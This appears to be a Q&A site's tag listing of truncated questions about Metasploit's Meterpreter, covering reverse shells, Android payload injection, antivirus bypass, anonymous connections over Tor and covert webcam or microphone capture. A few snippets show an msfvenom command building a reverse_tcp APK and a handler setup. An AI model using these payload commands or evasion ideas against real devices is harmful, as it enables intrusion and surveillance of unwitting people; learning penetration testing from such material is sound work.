Questions tagged [meterpreter]

The tag has no usage guidance.

26 questions with no upvoted or accepted answers
Filter by
Sorted by
Tagged with
6
votes
0answers
3k views

Meterpreter (Metasploit) anonymous reverse connection over Tor2web

The general consensus seems to be that one sets up a listener on a server accessible by a public IP and some port forwarding. For anonymity this should be a throw-away server or a hacked box. I've ...
2
votes
0answers
127 views

Help with meterpreter reverse https

I was trying to practice with meterpreter, so I used the overflow ms17_010_eternalblue and as a payload windows/meterpreter/reverse_https but I am unable to make this payload to work properly. 1st ...
2
votes
0answers
1k views

How to prevent multiple meterpreter sessions from same target?

I use a custom android/meterpreter/reverse_tcp payload from here. It connects back to the handler at specified time interval. When I use exploit as a job, I get multiple sessions from the same target ...
1
vote
0answers
49 views

How does meterpreter STDAPI bypass window's webcam restriction's settings

How does the stdapi commands 'webcam_snap' and 'webcam_stream' in meterpreter session bypass webcam restrictions/privacy settings on windows? I want to know how one could replicate this for prevention ...
1
vote
0answers
64 views

seDebugPrivilege and OpenProcess() - Trying to understand how Windows restricts access to a process' virtual memory

I’ve been trying to understand how operating systems protect processes from each other. My understanding of Windows security is that a process can call OpenProcess() (thereby allowing read and write ...
1
vote
1answer
364 views

Newer techniques for Meterpreter AV bypass

Is anyone willing to share techniques for creating a Windows Meterpreter payload that can bypass AV? I've noticed that Defender does a very good job these days at detecting it. Some of the ...
1
vote
1answer
140 views

Cannot execute program with Meterpreter on target OS

I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious. I used the eternalblue exploit to gain access to the victim's ...
1
vote
0answers
102 views

Meterpreter record_mic automation

I am toying with the record_mic function on my laptop and noticed that no matter what i do i cannot capture a stream longer than 12 seconds or i get timeout errors. I thought this was a limitation of ...
1
vote
1answer
845 views

How to connect to a meterpreter session opened manually on the target machine

I am trying to exploit a Windows 7 VM using metasploit. I was able to open a java meterpreter session and I want to access a native meterpreter. To do so I exported a meterpreter/reverse_tcp payload ...
1
vote
0answers
36 views

Proxychains to access ports on the same host

This might be an incredible dumb question but I need to know if this concept is even possible. I have obtained a low privileged shell on a target machine. After doing some enumeration I know the host ...
1
vote
0answers
523 views

Android meterpreter payload crashes app

I'm trying to inject a reverse_tcp meterpreter payload into my own app for educational purposes. Loading the raw payload apk on my phone works over LAN/WAN. I injected the payload manually by ...
1
vote
0answers
245 views

Setup a meterpreter session trough a vpn

this is my first post here. I was trying to start a meterpreter session from a mac to my kali Linux machine trough a vpn but it isn't working. I downloaded openVPN config files from vpnbook.com and ...
1
vote
0answers
353 views

Metasploit to connect to a target behind NAT

During a pentest and I experienced a weird problem with connecting to the target machine which is behind a NAT network the scenario is basically, they have a public ip : 1.1.1.1 and there are ...
1
vote
0answers
915 views

Metasploit payloads with VPN or proxies?

I have purchased VPN with torguard and asked them to forward ports. I run a test on the VPN IP and ports specified, and says ports closed, but they say otherwise in interface. Anyway I create a ...
1
vote
1answer
2k views

Stdapi commands not showing in meterpreter session

I created a android payload with public IP (android/meterpreter/reverse_https). The stdapi commands(ls,cd,webcam_snap etc) are showing when the victim is in the same network. But when I try to ...
1
vote
0answers
863 views

web view addjavascriptinterface exploit

I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far. I am trying ...
1
vote
0answers
784 views

Attaching orphaned/stageless session meterpreter

I have problems with meterpreter reverse_https. In my engagement, I saw this message in console; "Attaching orphaned/stageless session meterpreter" But after I lose connection, and victim connects ...
1
vote
0answers
792 views

Android not connected to kali linux with meterpreter in metasploit

I keep running into an error. I create an apk: msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk In the console, I configure the multi/handler: set PAYLOAD ...
1
vote
0answers
116 views

Metasploit Plugin not interacting with Meterpreter Client

I'm developing a plugin to automate some post exploitation tasks. Two days ago all methods that interact with the client (from the client_core and stdapi) simply don't return anything, like if in a ...
1
vote
0answers
1k views

How does Metasploit's payload work with a remote target?

I have some simple questions. I often use Metasploit in my pentest engagements. It works fine when I'm inside a local network. Okay, we know that, when the payload is injected properly, it will give ...
0
votes
0answers
58 views

Meterpreter shell not presenting results

After successfully running an exploit from Metasploit (Drupageddon), I am trying to run commands through the shell command in meterpreter. However, it displays prompts but not the results of any other ...
0
votes
0answers
1k views

Meterpreter is failing to load any extension except the core commands

[*] Starting persistent handler(s)... msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https ...
0
votes
0answers
156 views

Meterpreter Upload won't work

I am trying to follow a walkthrough for a CTF and there is one point where i have to upload a unix-privesc-check file to the other machine. Well when i use the command i get this response upload /...
0
votes
1answer
186 views

How to set autorunscript of core commands?

I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
-1
votes
1answer
543 views

How to connect reverse_tcp with my remote server(not in the same machine where i have metasploit)?

This is my question: How to connect reverse_tcp meterpreter with my remote server(NOT in the same machine where i have installed metasploit)? It's possible? I need this because i haven't a public ip ...
-2
votes
1answer
840 views

meterpreter commands after session created

After creating a session with an Android device by meterpreter, I need commands to control the target android device, like taking pictures with the camera. How can I search for these types of ...